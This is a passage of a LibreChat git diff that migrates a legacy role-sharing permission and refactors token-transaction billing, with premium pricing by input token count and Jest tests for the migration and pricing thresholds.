{ $exists: true }, + }; + + const selectFields = { text: 0 }; + const sortOptions = { createdAt: 1 }; + + return await getFiles(filter, sortOptions, selectFields); + } catch (error) { + logger.error('[getUserCodeFiles] Error retrieving user code files:', error); + return []; + } +}; + /** * Creates a new file with a TTL of 1 hour. * @param {MongoFile} data - The file data to be created, must contain file_id. @@ -169,6 +238,8 @@ module.exports = { findFileById, getFiles, getToolFilesByIds, + getCodeGeneratedFiles, + getUserCodeFiles, createFile, updateFile, updateFileUsage, diff --git a/api/models/Role.js b/api/models/Role.js index 1766dc9b08..b7f806f3b6 100644 --- a/api/models/Role.js +++ b/api/models/Role.js @@ -114,6 +114,28 @@ async function updateAccessPermissions(roleName, permissionsUpdate, roleData) { } } + // Migrate legacy SHARED_GLOBAL → SHARE for PROMPTS and AGENTS. + // SHARED_GLOBAL was removed in favour of SHARE in PR #11283. If the DB still has + // SHARED_GLOBAL but not SHARE, inherit the value so sharing intent is preserved. + const legacySharedGlobalTypes = ['PROMPTS', 'AGENTS']; + for (const legacyPermType of legacySharedGlobalTypes) { + const existingTypePerms = currentPermissions[legacyPermType]; + if ( + existingTypePerms && + 'SHARED_GLOBAL' in existingTypePerms && + !('SHARE' in existingTypePerms) && + updates[legacyPermType] && + // Don't override an explicit SHARE value the caller already provided + !('SHARE' in updates[legacyPermType]) + ) { + const inheritedValue = existingTypePerms['SHARED_GLOBAL']; + updates[legacyPermType]['SHARE'] = inheritedValue; + logger.info( + `Migrating '${roleName}' role ${legacyPermType}.SHARED_GLOBAL=${inheritedValue} → SHARE`, + ); + } + } + for (const [permissionType, permissions] of Object.entries(updates)) { const currentTypePermissions = currentPermissions[permissionType] || {}; updatedPermissions[permissionType] = { ...currentTypePermissions }; @@ -129,6 +151,32 @@ async function updateAccessPermissions(roleName, permissionsUpdate, roleData) { } } + // Clean up orphaned SHARED_GLOBAL fields left in DB after the schema rename. + // Since we $set the full permissions object, deleting from updatedPermissions + // is sufficient to remove the field from MongoDB. + for (const legacyPermType of legacySharedGlobalTypes) { + const existingTypePerms = currentPermissions[legacyPermType]; + if (existingTypePerms && 'SHARED_GLOBAL' in existingTypePerms) { + if (!updates[legacyPermType]) { + // permType wasn't in the update payload so the migration block above didn't run. + // Create a writable copy and handle the SHARED_GLOBAL → SHARE inheritance here + // to avoid removing SHARED_GLOBAL without writing SHARE (data loss). + updatedPermissions[legacyPermType] = { ...existingTypePerms }; + if (!('SHARE' in existingTypePerms)) { + updatedPermissions[legacyPermType]['SHARE'] = existingTypePerms['SHARED_GLOBAL']; + logger.info( + `Migrating '${roleName}' role ${legacyPermType}.SHARED_GLOBAL=${existingTypePerms['SHARED_GLOBAL']} → SHARE`, + ); + } + } + delete updatedPermissions[legacyPermType]['SHARED_GLOBAL']; + hasChanges = true; + logger.info( + `Removed legacy SHARED_GLOBAL field from '${roleName}' role ${legacyPermType} permissions`, + ); + } + } + if (hasChanges) { const updateObj = { permissions: updatedPermissions }; diff --git a/api/models/Role.spec.js b/api/models/Role.spec.js index deac4e5c35..0ec2f831e2 100644 --- a/api/models/Role.spec.js +++ b/api/models/Role.spec.js @@ -233,6 +233,112 @@ describe('updateAccessPermissions', () => { expect(updatedRole.permissions[PermissionTypes.MULTI_CONVO]).toEqual({ USE: true }); }); + it('should inherit SHARED_GLOBAL value into SHARE when SHARE is absent from both DB and update', async () => { + // Simulates the startup backfill path: caller sends SHARE_PUBLIC but not SHARE; + // migration should inherit SHARED_GLOBAL to preserve the deployment's sharing intent. + await Role.collection.insertOne({ + name: SystemRoles.USER, + permissions: { + [PermissionTypes.PROMPTS]: { USE: true, CREATE: true, SHARED_GLOBAL: true }, + [PermissionTypes.AGENTS]: { USE: true, CREATE: true, SHARED_GLOBAL: false }, + }, + }); + + await updateAccessPermissions(SystemRoles.USER, { + // No explicit SHARE — migration should inherit from SHARED_GLOBAL + [PermissionTypes.PROMPTS]: { SHARE_PUBLIC: false }, + [PermissionTypes.AGENTS]: { SHARE_PUBLIC: false }, + }); + + const updatedRole = await getRoleByName(SystemRoles.USER); + + // SHARED_GLOBAL=true → SHARE=true (inherited) + expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARE).toBe(true); + // SHARED_GLOBAL=false → SHARE=false (inherited) + expect(updatedRole.permissions[PermissionTypes.AGENTS].SHARE).toBe(false); + // SHARED_GLOBAL cleaned up + expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARED_GLOBAL).toBeUndefined(); + expect(updatedRole.permissions[PermissionTypes.AGENTS].SHARED_GLOBAL).toBeUndefined(); + }); + + it('should respect explicit SHARE in update payload and not override it with SHARED_GLOBAL', async () => { + // Caller explicitly passes SHARE: false even though SHARED_GLOBAL=true in DB. + // The explicit intent must win; migration must not silently overwrite it. + await Role.collection.insertOne({ + name: SystemRoles.USER, + permissions: { + [PermissionTypes.PROMPTS]: { USE: true, SHARED_GLOBAL: true }, + }, + }); + + await updateAccessPermissions(SystemRoles.USER, { + [PermissionTypes.PROMPTS]: { SHARE: false }, // explicit false — should be preserved + }); + + const updatedRole = await getRoleByName(SystemRoles.USER); + + expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARE).toBe(false); + expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARED_GLOBAL).toBeUndefined(); + }); + + it('should migrate SHARED_GLOBAL to SHARE even when the permType is not in the update payload', async () => { + // Bug #2 regression: cleanup block removes SHARED_GLOBAL but migration block only + // runs when the permType is in the update payload. Without the fix, SHARE would be + // lost when any other permType (e.g. MULTI_CONVO) is the only thing being updated. + await Role.collection.insertOne({ + name: SystemRoles.USER, + permissions: { + [PermissionTypes.PROMPTS]: { + USE: true, + SHARED_GLOBAL: true, // legacy — NO SHARE present + }, + [PermissionTypes.MULTI_CONVO]: { USE: false }, + }, + }); + + // Only update MULTI_CONVO — PROMPTS is intentionally absent from the payload + await updateAccessPermissions(SystemRoles.USER, { + [PermissionTypes.MULTI_CONVO]: { USE: true }, + }); + + const updatedRole = await getRoleByName(SystemRoles.USER); + + // SHARE should have been inherited from SHARED_GLOBAL, not silently dropped + expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARE).toBe(true); + // SHARED_GLOBAL should be removed + expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARED_GLOBAL).toBeUndefined(); + // Original USE should be untouched + expect(updatedRole.permissions[PermissionTypes.PROMPTS].USE).toBe(true); + // The actual update should have applied + expect(updatedRole.permissions[PermissionTypes.MULTI_CONVO].USE).toBe(true); + }); + + it('should remove orphaned SHARED_GLOBAL when SHARE already exists and permType is not in update', async () => { + // Safe cleanup case: SHARE already set, SHARED_GLOBAL is just orphaned noise. + // SHARE must not be changed; SHARED_GLOBAL must be removed. + await Role.collection.insertOne({ + name: SystemRoles.USER, + permissions: { + [PermissionTypes.PROMPTS]: { + USE: true, + SHARE: true, // already migrated + SHARED_GLOBAL: true, // orphaned + }, + [PermissionTypes.MULTI_CONVO]: { USE: false }, + }, + }); + + await updateAccessPermissions(SystemRoles.USER, { + [PermissionTypes.MULTI_CONVO]: { USE: true }, + }); + + const updatedRole = await getRoleByName(SystemRoles.USER); + + expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARED_GLOBAL).toBeUndefined(); + expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARE).toBe(true); + expect(updatedRole.permissions[PermissionTypes.MULTI_CONVO].USE).toBe(true); + }); + it('should not update MULTI_CONVO permissions when no changes are needed', async () => { await new Role({ name: SystemRoles.USER, diff --git a/api/models/Transaction.js b/api/models/Transaction.js index 5fa20f1ddf..7f018e1c30 100644 --- a/api/models/Transaction.js +++ b/api/models/Transaction.js @@ -1,153 +1,19 @@ -const { logger } = require('@librechat/data-schemas'); +const { logger, CANCEL_RATE } = require('@librechat/data-schemas'); const { getMultiplier, getCacheMultiplier } = require('./tx'); -const { Transaction, Balance } = require('~/db/models'); - -const cancelRate = 1.15; - -/** - * Updates a user's token balance based on a transaction using optimistic concurrency control - * without schema changes. Compatible with DocumentDB. - * @async - * @function - * @param {Object} params - The function parameters. - * @param {string|mongoose.Types.ObjectId} params.user - The user ID. - * @param {number} params.incrementValue - The value to increment the balance by (can be negative). - * @param {import('mongoose').UpdateQuery['$set']} [params.setValues] - Optional additional fields to set. - * @returns {Promise} Returns the updated balance document (lean). - * @throws {Error} Throws an error if the update fails after multiple retries. - */ -const updateBalance = async ({ user, incrementValue, setValues }) => { - let maxRetries = 10; // Number of times to retry on conflict - let delay = 50; // Initial retry delay in ms - let lastError = null; - - for (let attempt = 1; attempt <= maxRetries; attempt++) { - let currentBalanceDoc; - try { - // 1. Read the current document state - currentBalanceDoc = await Balance.findOne({ user }).lean(); - const currentCredits = currentBalanceDoc ? currentBalanceDoc.tokenCredits : 0; - - // 2. Calculate the desired new state - const potentialNewCredits = currentCredits + incrementValue; - const newCredits = Math.max(0, potentialNewCredits); // Ensure balance doesn't go below zero - - // 3. Prepare the update payload - const updatePayload = { - $set: { - tokenCredits: newCredits, - ...(setValues || {}), // Merge other values to set - }, - }; - - // 4. Attempt the conditional update or upsert - let updatedBalance = null; - if (currentBalanceDoc) { - // --- Document Exists: Perform Conditional Update --- - // Try to update only if the tokenCredits match the value we read (currentCredits) - updatedBalance = await Balance.findOneAndUpdate( - { - user: user, - tokenCredits: currentCredits, // Optimistic lock: condition based on the read value - }, - updatePayload, - { - new: true, // Return the modified document - // lean: true, // .lean() is applied after query execution in Mongoose >= 6 - }, - ).lean(); // Use lean() for plain JS object - - if (updatedBalance) { - // Success! The update was applied based on the expected current state. - return updatedBalance; - } - // If updatedBalance is null, it means tokenCredits changed between read and write (conflict). - lastError = new Error(`Concurrency conflict for user ${user} on attempt ${attempt}.`); - // Proceed to retry logic below. - } else { - // --- Document Does Not Exist: Perform Conditional Upsert --- - // Try to insert the document, but only if it still doesn't exist. - // Using tokenCredits: {$exists: false} helps prevent race conditions where - // another process creates the doc between our findOne and findOneAndUpdate. - try { - updatedBalance = await Balance.findOneAndUpdate( - { - user: user, - // Attempt to match only if the document doesn't exist OR was just created - // without tokenCredits (less likely but possible). A simple { user } filter - // might also work, relying on the retry for conflicts. - // Let's use a simpler filter and rely on retry for races. - // tokenCredits: { $exists: false } // This condition might be too strict if doc exists with 0 credits - }, - updatePayload, - { - upsert: true, // Create if doesn't exist - new: true, // Return the created/updated document - // setDefaultsOnInsert: true, // Ensure schema defaults are applied on insert - // lean: true, - }, - ).lean(); - - if (updatedBalance) { - // Upsert succeeded (likely created the document) - return updatedBalance; - } - // If null, potentially a rare race condition during upsert. Retry should handle it. - lastError = new Error( - `Upsert race condition suspected for user ${user} on attempt ${attempt}.`, - ); - } catch (error) { - if (error.code === 11000) { - // E11000 duplicate key error on index - // This means another process created the document *just* before our upsert. - // It's a concurrency conflict during creation. We should retry. - lastError = error; // Store the error - // Proceed to retry logic below. - } else { - // Different error, rethrow - throw error; - } - } - } // End if/else (document exists?) - } catch (error) { - // Catch errors from findOne or unexpected findOneAndUpdate errors - logger.error(`[updateBalance] Error during attempt ${attempt} for user ${user}:`, error); - lastError = error; // Store the error - // Consider stopping retries for non-transient errors, but for now, we retry. - } - - // If we reached here, it means the update failed (conflict or error), wait and retry - if (attempt < maxRetries) { - const jitter = Math.random() * delay * 0.5; // Add jitter to delay - await new Promise((resolve) => setTimeout(resolve, delay + jitter)); - delay = Math.min(delay * 2, 2000); // Exponential backoff with cap - } - } // End for loop (retries) - - // If loop finishes without success, throw the last encountered error or a generic one - logger.error( - `[updateBalance] Failed to update balance for user ${user} after ${maxRetries} attempts.`, - ); - throw ( - lastError || - new Error( - `Failed to update balance for user ${user} after maximum retries due to persistent conflicts.`, - ) - ); -}; +const { Transaction } = require('~/db/models'); +const { updateBalance } = require('~/models'); /** Method to calculate and set the tokenValue for a transaction */ function calculateTokenValue(txn) { - if (!txn.valueKey || !txn.tokenType) { - txn.tokenValue = txn.rawAmount; - } - const { valueKey, tokenType, model, endpointTokenConfig } = txn; - const multiplier = Math.abs(getMultiplier({ valueKey, tokenType, model, endpointTokenConfig })); + const { valueKey, tokenType, model, endpointTokenConfig, inputTokenCount } = txn; + const multiplier = Math.abs( + getMultiplier({ valueKey, tokenType, model, endpointTokenConfig, inputTokenCount }), + ); txn.rate = multiplier; txn.tokenValue = txn.rawAmount * multiplier; if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') { - txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate); - txn.rate *= cancelRate; + txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE); + txn.rate *= CANCEL_RATE; } } @@ -166,6 +32,7 @@ async function createAutoRefillTransaction(txData) { } const transaction = new Transaction(txData); transaction.endpointTokenConfig = txData.endpointTokenConfig; + transaction.inputTokenCount = txData.inputTokenCount; calculateTokenValue(transaction); await transaction.save(); @@ -200,6 +67,7 @@ async function createTransaction(_txData) { const transaction = new Transaction(txData); transaction.endpointTokenConfig = txData.endpointTokenConfig; + transaction.inputTokenCount = txData.inputTokenCount; calculateTokenValue(transaction); await transaction.save(); @@ -231,10 +99,9 @@ async function createStructuredTransaction(_txData) { return; } - const transaction = new Transaction({ - ...txData, - endpointTokenConfig: txData.endpointTokenConfig, - }); + const transaction = new Transaction(txData); + transaction.endpointTokenConfig = txData.endpointTokenConfig; + transaction.inputTokenCount = txData.inputTokenCount; calculateStructuredTokenValue(transaction); @@ -266,10 +133,15 @@ function calculateStructuredTokenValue(txn) { return; } - const { model, endpointTokenConfig } = txn; + const { model, endpointTokenConfig, inputTokenCount } = txn; if (txn.tokenType === 'prompt') { - const inputMultiplier = getMultiplier({ tokenType: 'prompt', model, endpointTokenConfig }); + const inputMultiplier = getMultiplier({ + tokenType: 'prompt', + model, + endpointTokenConfig, + inputTokenCount, + }); const writeMultiplier = getCacheMultiplier({ cacheType: 'write', model, endpointTokenConfig }) ?? inputMultiplier; const readMultiplier = @@ -304,18 +176,23 @@ function calculateStructuredTokenValue(txn) { txn.rawAmount = -totalPromptTokens; } else if (txn.tokenType === 'completion') { - const multiplier = getMultiplier({ tokenType: txn.tokenType, model, endpointTokenConfig }); + const multiplier = getMultiplier({ + tokenType: txn.tokenType, + model, + endpointTokenConfig, + inputTokenCount, + }); txn.rate = Math.abs(multiplier); txn.tokenValue = -Math.abs(txn.rawAmount) * multiplier; txn.rawAmount = -Math.abs(txn.rawAmount); } if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') { - txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate); - txn.rate *= cancelRate; + txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE); + txn.rate *= CANCEL_RATE; if (txn.rateDetail) { txn.rateDetail = Object.fromEntries( - Object.entries(txn.rateDetail).map(([k, v]) => [k, v * cancelRate]), + Object.entries(txn.rateDetail).map(([k, v]) => [k, v * CANCEL_RATE]), ); } } diff --git a/api/models/Transaction.spec.js b/api/models/Transaction.spec.js index 2df9fc67f2..f363c472e1 100644 --- a/api/models/Transaction.spec.js +++ b/api/models/Transaction.spec.js @@ -1,8 +1,10 @@ const mongoose = require('mongoose'); +const { recordCollectedUsage } = require('@librechat/api'); +const { createMethods } = require('@librechat/data-schemas'); const { MongoMemoryServer } = require('mongodb-memory-server'); -const { spendTokens, spendStructuredTokens } = require('./spendTokens'); -const { getMultiplier, getCacheMultiplier } = require('./tx'); +const { getMultiplier, getCacheMultiplier, premiumTokenValues, tokenValues } = require('./tx'); const { createTransaction, createStructuredTransaction } = require('./Transaction'); +const { spendTokens, spendStructuredTokens } = require('./spendTokens'); const { Balance, Transaction } = require('~/db/models'); let mongoServer; @@ -564,3 +566,760 @@ describe('Transactions Config Tests', () => { expect(balance.tokenCredits).toBe(initialBalance); }); }); + +describe('calculateTokenValue Edge Cases', () => { + test('should derive multiplier from model when valueKey is not provided', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'gpt-4'; + const promptTokens = 1000; + + const result = await createTransaction({ + user: userId, + conversationId: 'test-no-valuekey', + model, + tokenType: 'prompt', + rawAmount: -promptTokens, + context: 'test', + balance: { enabled: true }, + }); + + const expectedRate = getMultiplier({ model, tokenType: 'prompt' }); + expect(result.rate).toBe(expectedRate); + + const tx = await Transaction.findOne({ user: userId }); + expect(tx.tokenValue).toBe(-promptTokens * expectedRate); + expect(tx.rate).toBe(expectedRate); + }); + + test('should derive valueKey and apply correct rate for an unknown model with tokenType', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + await createTransaction({ + user: userId, + conversationId: 'test-unknown-model', + model: 'some-unrecognized-model-xyz', + tokenType: 'prompt', + rawAmount: -500, + context: 'test', + balance: { enabled: true }, + }); + + const tx = await Transaction.findOne({ user: userId }); + expect(tx.rate).toBeDefined(); + expect(tx.rate).toBeGreaterThan(0); + expect(tx.tokenValue).toBe(tx.rawAmount * tx.rate); + }); + + test('should correctly apply model-derived multiplier without valueKey for completion', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const completionTokens = 500; + + const result = await createTransaction({ + user: userId, + conversationId: 'test-completion-no-valuekey', + model, + tokenType: 'completion', + rawAmount: -completionTokens, + context: 'test', + balance: { enabled: true }, + }); + + const expectedRate = getMultiplier({ model, tokenType: 'completion' }); + expect(expectedRate).toBe(tokenValues[model].completion); + expect(result.rate).toBe(expectedRate); + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo( + initialBalance - completionTokens * expectedRate, + 0, + ); + }); +}); + +describe('Premium Token Pricing Integration Tests', () => { + test('spendTokens should apply standard pricing when prompt tokens are below premium threshold', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const promptTokens = 100000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-premium-below', + model, + context: 'test', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const standardPromptRate = tokenValues[model].prompt; + const standardCompletionRate = tokenValues[model].completion; + const expectedCost = + promptTokens * standardPromptRate + completionTokens * standardCompletionRate; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + test('spendTokens should apply premium pricing when prompt tokens exceed premium threshold', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const promptTokens = 250000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-premium-above', + model, + context: 'test', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const premiumPromptRate = premiumTokenValues[model].prompt; + const premiumCompletionRate = premiumTokenValues[model].completion; + const expectedCost = + promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + test('spendTokens should apply standard pricing at exactly the premium threshold', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const promptTokens = premiumTokenValues[model].threshold; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-premium-exact', + model, + context: 'test', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const standardPromptRate = tokenValues[model].prompt; + const standardCompletionRate = tokenValues[model].completion; + const expectedCost = + promptTokens * standardPromptRate + completionTokens * standardCompletionRate; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + test('spendStructuredTokens should apply premium pricing when total input tokens exceed threshold', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const txData = { + user: userId, + conversationId: 'test-structured-premium', + model, + context: 'message', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + const tokenUsage = { + promptTokens: { + input: 200000, + write: 10000, + read: 5000, + }, + completionTokens: 1000, + }; + + const totalInput = + tokenUsage.promptTokens.input + tokenUsage.promptTokens.write + tokenUsage.promptTokens.read; + + await spendStructuredTokens(txData, tokenUsage); + + const premiumPromptRate = premiumTokenValues[model].prompt; + const premiumCompletionRate = premiumTokenValues[model].completion; + const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }); + const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }); + + const expectedPromptCost = + tokenUsage.promptTokens.input * premiumPromptRate + + tokenUsage.promptTokens.write * writeMultiplier + + tokenUsage.promptTokens.read * readMultiplier; + const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate; + const expectedTotalCost = expectedPromptCost + expectedCompletionCost; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(totalInput).toBeGreaterThan(premiumTokenValues[model].threshold); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0); + }); + + test('spendStructuredTokens should apply standard pricing when total input tokens are below threshold', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const txData = { + user: userId, + conversationId: 'test-structured-standard', + model, + context: 'message', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + const tokenUsage = { + promptTokens: { + input: 50000, + write: 10000, + read: 5000, + }, + completionTokens: 1000, + }; + + const totalInput = + tokenUsage.promptTokens.input + tokenUsage.promptTokens.write + tokenUsage.promptTokens.read; + + await spendStructuredTokens(txData, tokenUsage); + + const standardPromptRate = tokenValues[model].prompt; + const standardCompletionRate = tokenValues[model].completion; + const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }); + const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }); + + const expectedPromptCost = + tokenUsage.promptTokens.input * standardPromptRate + + tokenUsage.promptTokens.write * writeMultiplier + + tokenUsage.promptTokens.read * readMultiplier; + const expectedCompletionCost = tokenUsage.completionTokens * standardCompletionRate; + const expectedTotalCost = expectedPromptCost + expectedCompletionCost; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(totalInput).toBeLessThanOrEqual(premiumTokenValues[model].threshold); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0); + }); + + test('spendTokens should apply standard pricing for gemini-3.1-pro-preview below threshold', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'gemini-3.1-pro-preview'; + const promptTokens = 100000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-gemini31-below', + model, + context: 'test', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const standardPromptRate = tokenValues['gemini-3.1'].prompt; + const standardCompletionRate = tokenValues['gemini-3.1'].completion; + const expectedCost = + promptTokens * standardPromptRate + completionTokens * standardCompletionRate; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + test('spendTokens should apply premium pricing for gemini-3.1-pro-preview above threshold', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'gemini-3.1-pro-preview'; + const promptTokens = 250000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-gemini31-above', + model, + context: 'test', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt; + const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion; + const expectedCost = + promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + test('spendTokens should apply standard pricing for gemini-3.1-pro-preview at exactly the threshold', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'gemini-3.1-pro-preview'; + const promptTokens = premiumTokenValues['gemini-3.1'].threshold; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-gemini31-exact', + model, + context: 'test', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const standardPromptRate = tokenValues['gemini-3.1'].prompt; + const standardCompletionRate = tokenValues['gemini-3.1'].completion; + const expectedCost = + promptTokens * standardPromptRate + completionTokens * standardCompletionRate; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + test('spendStructuredTokens should apply premium pricing for gemini-3.1 when total input exceeds threshold', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'gemini-3.1-pro-preview'; + const txData = { + user: userId, + conversationId: 'test-gemini31-structured-premium', + model, + context: 'message', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + const tokenUsage = { + promptTokens: { + input: 200000, + write: 10000, + read: 5000, + }, + completionTokens: 1000, + }; + + const totalInput = + tokenUsage.promptTokens.input + tokenUsage.promptTokens.write + tokenUsage.promptTokens.read; + + await spendStructuredTokens(txData, tokenUsage); + + const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt; + const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion; + const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }); + const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }); + + const expectedPromptCost = + tokenUsage.promptTokens.input * premiumPromptRate + + tokenUsage.promptTokens.write * writeMultiplier + + tokenUsage.promptTokens.read * readMultiplier; + const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate; + const expectedTotalCost = expectedPromptCost + expectedCompletionCost; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(totalInput).toBeGreaterThan(premiumTokenValues['gemini-3.1'].threshold); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0); + }); + + test('non-premium models should not be affected by inputTokenCount regardless of prompt size', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-5'; + const promptTokens = 300000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-no-premium', + model, + context: 'test', + endpointTokenConfig: null, + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const standardPromptRate = getMultiplier({ model, tokenType: 'prompt' }); + const standardCompletionRate = getMultiplier({ model, tokenType: 'completion' }); + const expectedCost = + promptTokens * standardPromptRate + completionTokens * standardCompletionRate; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); +}); + +describe('Bulk path parity', () => { + /** + * Each test here mirrors an existing legacy test above, replacing spendTokens/ + * spendStructuredTokens with recordCollectedUsage + bulk deps. + * The balance deduction and transaction document fields must be numerically identical. + */ + let bulkDeps; + let methods; + + beforeEach(() => { + methods = createMethods(mongoose); + bulkDeps = { + spendTokens: () => Promise.resolve(), + spendStructuredTokens: () => Promise.resolve(), + pricing: { getMultiplier, getCacheMultiplier }, + bulkWriteOps: { + insertMany: methods.bulkInsertTransactions, + updateBalance: methods.updateBalance, + }, + }; + }); + + test('balance should decrease when spending tokens via bulk path', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'gpt-3.5-turbo'; + const promptTokens = 100; + const completionTokens = 50; + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-conversation-id', + model, + context: 'test', + balance: { enabled: true }, + transactions: { enabled: true }, + collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }], + }); + + const updatedBalance = await Balance.findOne({ user: userId }); + const promptMultiplier = getMultiplier({ + model, + tokenType: 'prompt', + inputTokenCount: promptTokens, + }); + const completionMultiplier = getMultiplier({ + model, + tokenType: 'completion', + inputTokenCount: promptTokens, + }); + const expectedTotalCost = + promptTokens * promptMultiplier + completionTokens * completionMultiplier; + const expectedBalance = initialBalance - expectedTotalCost; + + expect(updatedBalance.tokenCredits).toBeCloseTo(expectedBalance, 0); + + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(2); + }); + + test('bulk path should not update balance when balance.enabled is false', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'gpt-3.5-turbo'; + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-conversation-id', + model, + context: 'test', + balance: { enabled: false }, + transactions: { enabled: true }, + collectedUsage: [{ input_tokens: 100, output_tokens: 50, model }], + }); + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBe(initialBalance); + const txns = await 